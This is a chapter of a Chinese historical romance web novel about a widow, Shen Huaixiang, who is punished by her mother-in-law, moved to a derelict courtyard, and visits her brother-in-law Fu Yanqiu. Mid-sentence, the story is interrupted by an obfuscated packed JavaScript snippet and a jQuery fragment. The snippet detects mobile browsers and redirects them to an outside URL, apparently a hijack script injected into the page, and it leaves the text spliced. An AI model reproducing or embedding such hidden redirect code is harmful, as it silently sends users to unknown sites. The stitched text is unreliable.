最后,沈怀香还是被婆母身边的管事妈妈带去了傅家祠堂。
“夫人说了,少夫人心思重,就且在这儿静思记过,一个时辰到了,奴婢自会来叫您的。”扔下这话,管事妈妈离开,却换了个人进来。
“少夫人还是尽早虔心跪下好,横竖都躲不过的。”这婢女眼中满是对她主仆二人的不屑。
冬雪看了很是不满,这些下人为了在夫人面前露面,就这样对姑娘耀武扬威。
刚要发作,又被沈怀香拦下,她摇了摇头,示意冬雪不要横生波折。
一个时辰说快也快,说慢也慢。
沈怀香的膝盖渐渐开始痛了,寒意侵袭,她摇摇欲坠。落了这么一遭,沈怀香觉得心都死了。
时间快到了,管事妈妈快步过来,看她时眉头拧的紧,好似看什么阿猫阿狗,扔下一句话匆匆离去。
“太太叫您好自为之,若是此后再犯,那便再跪,直到少夫人您长了记性。”
“是,多谢婆母提点,儿媳谨记在心。”
沈怀香罚跪,冬雪作为她的贴身侍女自然也要陪同。
不顾自己颤颤巍巍,还扶着沈怀香,主仆二人相互依靠着,走在连廊。
沈怀香几乎要记不清自己是怎么出来这院落的了,脸上青红交加,心中的屈辱更是怎么也消不下去。
冬雪带着她特地选了个人少的小路,途径后院的莼湖,沈怀香瞧着里面那张娇媚却耷拉的脸,不禁泪流满面。
为何这世道如此不公,只不过是因为没有父亲,就要处处受到大伯和大伯母的辖制,母亲的性命、弟妹的前途,一道一道都是枷锁,她虽心甘情愿背负可难免也会觉得辛苦。
这时,一个婢女走近些,递出锦帕给沈怀香。
冬雪护住沈怀香,问道:“你是何人?”
那婢女简单介绍自己,说沈怀香曾对自己有恩。
原是先前夫君病中,煎药需要人时常看着,这小姑娘一时困觉,竟把药煎糊了。
婆母非要将她杖毙,是沈怀香求情她才得以侥幸活命,只是罚了三个月的月钱。
和生命比起来,钱算得了什么。
沈怀香接过来帕子,挤出一个笑容,“不过是一件小事,难为你还记得。”
“于少夫人而言,只是一句话的事,可是于奴婢而言是再造之恩。”
婢女宽慰她两句,又去别处做活。
...
冬雪一边给沈怀香敷着膝盖,一边心疼。
“夫人怎么这样啊,不帮就不帮!还当着这么多下人的面让姑娘罚跪,这不是把你的面子踩在地上吗!”
沈怀香怎么会不知自己以后更会遭人白眼。当时夫君去世,她却仍未怀孕,无所出便是罪责。
既是亡夫给了她放妻书,可婆母放了狠话,既然无后,那便要她做孀居未亡人,横竖不能让儿子百年后孤坟凉冢。
这正合她的意,自己在国公府,虽说只有面子没有里子,对沈家人仍有震慑作用,只要自己稳坐国公府少夫人的位置,母亲和弟妹就会有一日安稳。
院子里静悄悄的,只听梨花簌簌。
她正想着如何寻些门路,婆母身边的管事妈妈来了。
“夫人体恤少夫人,知晓您的膝盖不好受,索性给您宽限几个时辰,但是念佛势必要心诚,夫人的意思是天黑之前,您就请去斜方院里,届时奴婢会前去瞧瞧为您添置所需物件。”
待管事妈妈出去门,冬雪狠狠关上了院门,闹出了不小的动静。
冬雪嘴上抱怨着,手上却马不停蹄地收拾东西。
“夫人若是体恤您,又怎么会要我们今晚就必须搬过去,说是去添置物件,不就是监视我们吗!”
“你既已知晓她的用意,又何必上火?我们只需要做好自己的事,让人挑不出错处便罢了。”随后,沈怀香又宽慰冬雪几句,离远了些不用请安,也算好事。
这泼辣的小姑娘才收了情绪,继续忙活。
...
斜方院落位于国公府邸的最内侧,年久失修,瞧着比外头寻常人家的院子还要破败。窗柩上满是蛛网,厚厚的灰尘盖住装潢几乎看不见它原来的本色。
冬雪推门,吱嘎一声,很是难听。
“这样的房子怎么能给人住啊!”冬雪狠狠跺脚,就要去找夫人要个说法。
沈怀香知晓冬雪是为自己抱不平,可仰人鼻息的日子她过了这么多年,横竖都是人家给你什么你就接着什么,万没有自己挑剔的道理。
“先收拾着吧,说不定等我们弄好一切还不错呢。”
冬雪才不会相信,她赶紧端来一盆水,清扫屋内的软榻,先让沈怀香好好歇着,毕竟膝盖还没完全好。
她自己则是回去院子找些人来帮忙搬着东西。
她原本想着找院子里的婆子,帮着快些收拾,起码在天黑之前能置办完成。
谁料那些婆子早早被遣散到了各个院子。
冬雪给沈怀香汇报一声,沈怀香知晓。
不用说,也知道是谁的手笔,存了心就是要折磨她。
眼见天色就要黑了,冬雪一趟接着一趟搬东西,一个身着粗布、膀大腰圆的丫头同她一起收拾着。
最后一趟结束,进了院子。
小姑娘直奔着沈怀香来,跪在她面前。
还未等沈怀香开口,她便说:“奴婢翡翠,原是二爷的养马女,现已无马可养,还求少夫人收留,留在身边做个婢女也好!”
沈怀香拧着眉,她被赶到这种苦地方,怎么可能有人会主动愿意过来,更何况下面人知晓婆母意思,更不可能会主动给自己添人。
那会是谁呢?
沈怀香问:“谁叫你来的?”
翡翠不敢欺瞒,老老实实说:“是五爷。”
沈怀香脑中轰隆一声,嘴唇阖动,娇美的脸上满是惊诧,“五......五爷?”
傅砚秋?这怎么可能?
自己跟他八竿子都打不着的关系,他为何要帮自己?
翡翠抬头,看着眼前这位妙龄少女,不过十七八岁的样子,白面红唇,一双眸子更是风情万种,难怪......
很快她又收回视线,低下头。
沈怀香不心动那是假的,她来了这破落地方,身边只一个冬雪,双拳难敌四手,到底还会有力不从心的时候。
更何况,她是一个寡妇,若是能再得一助力,再好不过。
可......这是傅砚秋送来的人。
自己一个孀居的寡妇承了小叔子的人情有些不太好,特别要是叫婆母知道了,还不知道要怎么说她。
于是,沈怀香起了拒绝的心思。
可若是直接这样将人遣送回去,显得自己高高在上很不知礼数。
索性,自己跑一趟,禀明原因,自己这个小叔子一定会同意的。
......
傅砚秋的院子是整个国公府除了老太太院落外,最好的。装潢、配饰、甚至种栽都隐隐衬托着院落主子的高贵,足见老太太对他的重视。
到了门口,沈怀香四处瞧了瞧,无人,她这才抬腿进了傅砚秋的院子。
这还是她第一次踏足这片土地。
之前两个人不过是嫂子和小叔子的关系,她侍奉在夫君身侧,从不踏足旁人院落。
两个丫头扶着她慢慢到了厢房门口,翡翠喊了一声。
很快,傅砚秋身边的近卫常春开了门,恭恭敬敬地喊了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513202|203096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声少夫人,脸上并没有惊讶神色,仿佛早就料到了她会过来。
沈怀香受宠若惊地点了点头。
“五爷正在书房忙事,一会儿子就过来,烦请少夫人稍等片刻。”常春奉上茶,站在一旁给沈怀香说着。
下一秒,傅砚秋掀开门帘进来了。
翡翠挥挥手,示意冬雪和常春出来。
冬雪不愿,男女有别,她要护着些沈怀香,还有沈怀香的名声。
翡翠悄声告诉她,“在国公府,主子们若是商议事宜,咱们这些做下人的听不得。”
房内只剩下她们二人,分明是宽敞了,可不知为何沈怀香却觉得有些。逼。冗,傅砚秋身上的气势太压人。
两人相顾无言,沈怀香蓦然想起是自己要和人家说事。
她扶着桌子起身,敛衽行礼,娓娓道:“翡翠一事多谢五爷。”
傅砚秋嗯了一声,没有再说话。
沈怀香瞧着他那张俊脸上神色如常,于是接着说:“但我现下要为亡夫守灵,吃斋念佛,无需身边太多人伺候,再者五爷您将这婢女提来帮衬,锦上添花易,雪中送炭难,我很是感激,可到底于礼不和......好意我心领了,但是这人我就给您送回了......”
后面的话,沈怀香越说声音越小了,因为傅砚秋的脸色很明显变黑了,看着很不高兴。
“一切随你。”
沈怀香暗暗懊悔,怎的就把人惹生气了。
“五爷......”开口,是她自己都没想到的娇软。
傅砚秋眼中一抹情绪忽闪而过,迅速掩下。俊秀的脸上,眉头微微舒展。
“若是没有旁的事,嫂嫂就请离开吧,孤男寡女叫人瞧见,于你的名声不好。”
他说这话时分明是在替沈怀香考虑,可她就是听出了咬牙切齿的意思。
她扶着膝盖缓缓起身,抬眼,只见那人端起桌上茶盏呷了一口。
“五......”
傅砚秋抬眼,疑惑的看着她。
沈怀香将未说出口的话咽下,若是叫傅砚秋知道这茶盏是自己先前用过的,怕是要连自己同茶盏一起丢出去。
“我先走了。”沈怀香瘸着腿,走的不慢,像是后面有鬼在追。
刚才两位主子在里面说的话,外面同样清晰可见。
翡翠也知晓了沈怀香的意思,所以行礼目送她离去。
常春啧一声,对翡翠说:“这少夫人还真是有个性,我头一回见有人敢拂五爷的面子。”
里面的人沉声喊了一声常春。
他汗毛直竖,“来了,五爷!”
翡翠则是低着头,默默去做自己的事情了。
房间里面,傅砚秋摩挲着茶盏,说:“明天,给各个院子送去一个婢女,就说是宫里出来的,为着就是要缄口。”
常春不懂,说:“五爷,你这是何意?”
傅砚秋没再说话,常春忽然又明白了。
若是这样直白的只给少夫人一个人送去,少夫人可能会顾忌很多,不愿意收下翡翠,但若是每个人都有新的婢女,那少夫人就会心安理得地接受。
思及此,常春向傅砚秋投去了一个钦佩的目光。
五爷果然思虑周全!
结果,就看到傅砚秋在喝桌上茶盏的水。
常春:“!”
傅砚秋自然也看出了他的不对。
“有话就说。”
常春噗通一下跪在地上,不敢抬头,声音悲切。
“五爷,这茶盏是刚才少夫人用过的。”
傅砚秋:“......”
细长的手指捏住茶盏,四处端详,在一方杯沿发现了女子的口脂,淡淡的却香香的。